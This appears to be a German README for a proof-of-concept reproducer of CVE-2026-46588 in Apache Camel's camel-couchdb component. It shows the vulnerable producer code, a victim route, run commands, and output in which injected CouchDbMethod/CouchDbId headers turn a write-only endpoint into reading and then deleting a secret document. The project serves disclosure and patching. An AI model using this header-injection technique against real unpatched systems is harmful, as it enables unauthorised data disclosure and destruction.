
Reproducer für CVE-2026-46588: Apache Camel camel-couchdb CouchDb* Header-Injection (Operationsverwirrung), die einen Nur-Schreib-Endpunkt in Lesen + Löschen beliebiger Dokumente umwandelt (behoben in 4.14.8/4.18.3/4.21.0)
CouchDb* Header-Injection-Reproducer (CVE-2026-46588)Dieses Projekt demonstriert eine Message-Header-Injection in der Apache Camel-Komponente camel-couchdb, verfolgt als CVE-2026-46588. Die Komponente liest mehrere Exchange-Header, um ihr Verhalten zu steuern – CouchDbDatabase, CouchDbSeq, CouchDbId (Dokument-ID), CouchDbRev (Dokumentrevision) und CouchDbMethod (die Operationsmethode). Die Zeichenkettenwerte dieser Header-Konstanten (definiert in CouchDbConstants) verwenden das CouchDb-Präfix anstelle des Standard-Camel-Präfixes, das jede andere Komponente verwendet. Der eingehende HttpHeaderFilterStrategy von Camel blockiert nur Header-Namen, die mit Camel / camel beginnen, daher passieren diese Namen den eingehenden Filter unverändert. Wenn eine Route einen HTTP-Endpunkt (z. B. platform-http) vor einem CouchDB-Producer bereitstellt, kann ein nicht vertrauenswürdiger HTTP-Client diese Header direkt setzen und die vom Routenautor beabsichtigte Operation überschreiben.
Dieser PoC demonstriert die Auswirkungen als Operationsverwirrung: Ein Schreibgeschützter Dokumenten-Erfassungsendpunkt wird durch Injizieren von CouchDbMethod (und CouchDbId) in einen Lese- und dann einen Löschvorgang eines beliebigen Dokuments umgewandelt.
CouchDbMethod=GET + CouchDbId=<secret> → Offenlegung (liest ein Dokument, das der Endpunkt nie preisgibt, und gibt dessen _rev preis).CouchDbMethod=DELETE (mit dem preisgegebenen _rev) → Zerstörung (löscht dieses Dokument).Advisory: https://camel.apache.org/security/CVE-2026-46588.html
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-couchdb |
| Betroffene Klasse | org.apache.camel.component.couchdb.CouchDbProducer reading CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId"), etc. |
| CWE | CWE-20: Unzureichende Eingabevalidierung |
| Auswirkung | Ein HTTP-Client setzt CouchDb*-Header → überschreibt die Operation / das Dokument → Offenlegung, Löschung, Manipulation |
| Voraussetzungen | Eine Route legt einen CouchDB-Producer hinter einem HTTP-Consumer frei (z. B. platform-http); nicht authentifiziert, wenn der Consumer es ist |
| Betroffene Versionen | Von 4.0.0 vor 4.14.8, von 4.15.0 vor 4.18.3, von 4.19.0 vor 4.21.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| Fix | PR apache/camel#23228 (main), zurückportiert via #23230 (4.18.x) / #23231 (4.14.x) |
| Anerkennung | Yu Bao (PayPal) |
Gleiche Header-Injection-Familie wie CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 und CVE-2026-47323. Der Fix teilt sich seinen PR mit dem zugehörigen Advisory CVE-2026-46587 (camel-couchbase).
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
Der Fix (4.14.8 / 4.18.3 / 4.21.0) benennt die Header-Werte in die Camel-Konvention um – CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq – sodass sie vom eingehenden HttpHeaderFilterStrategy blockiert werden, wie jeder andere Camel-Steuerheader. Die Namen der Java-Konstantenfelder bleiben unverändert.
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
Die Absicht des Routenautors ist ein schreibgeschützter Erfassungsendpunkt – Clients POSTen Dokumente zum Speichern, nichts weiter. Als dokumentierte Härtung entfernt die Route den Camel-Steuerheader-Namensraum am Rand. Das hilft nicht: Der Operationsheader heißt CouchDbMethod, nicht CamelCouchDbMethod, wird also weder von removeHeaders("Camel*") noch vom eingebauten HTTP-Header-Filter entfernt – und der Producer wechselt die Operation basierend darauf.
Der Victim ist die Camel-Erfassungsroute und ihre CouchDB-Datenbank; der Angreifer ist ein nicht authentifizierter HTTP-Client, der nur Anfrageheader setzt. Ein kleines REST-Testwerkzeug befüllt und liest das geheime Dokument zur Verifikation, unabhängig von der anfälligen Route.
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (Gson auf 2.13.2 festgelegt, siehe Hinweis)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + die App
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # Host / DB / Anmeldedaten / geheime Dokument-ID + Marker
│ ├── CouchDbHarness.java # REST-Testwerkzeug: wartet auf CouchDB, befüllt + liest das geheime Dokument
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (schreibgeschützte Absicht)
│ └── ExploitController.java # Angreifer: POST /ingest mit injizierten CouchDbMethod / CouchDbId-Headern
└── resources/
└── application.properties
Hinweis: Die pom legt
gson.version=2.13.2fest (die Version, die Camel mitbringt). Spring Boot 3.2.0 würde sonst die ältere Gson 2.10.1 festlegen, dercom.google.gson.internal.GsonTypesfehlt, was das gebündelte Cloudant SDK zur Laufzeit einenNoClassDefFoundErrorwerfen lässt.
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
Jede Route mit einem CouchDB-Producer, der von einem HTTP-Consumer aus erreichbar ist. Injizierbare Header: CouchDbMethod (wechselt Speichern → Abrufen / Löschen), CouchDbId (Zieldokument für Abruf), und die _id / _rev des Bodys für Löschen. Auf der Consumer-Seite kommen CouchDbDatabase und CouchDbSeq hinzu.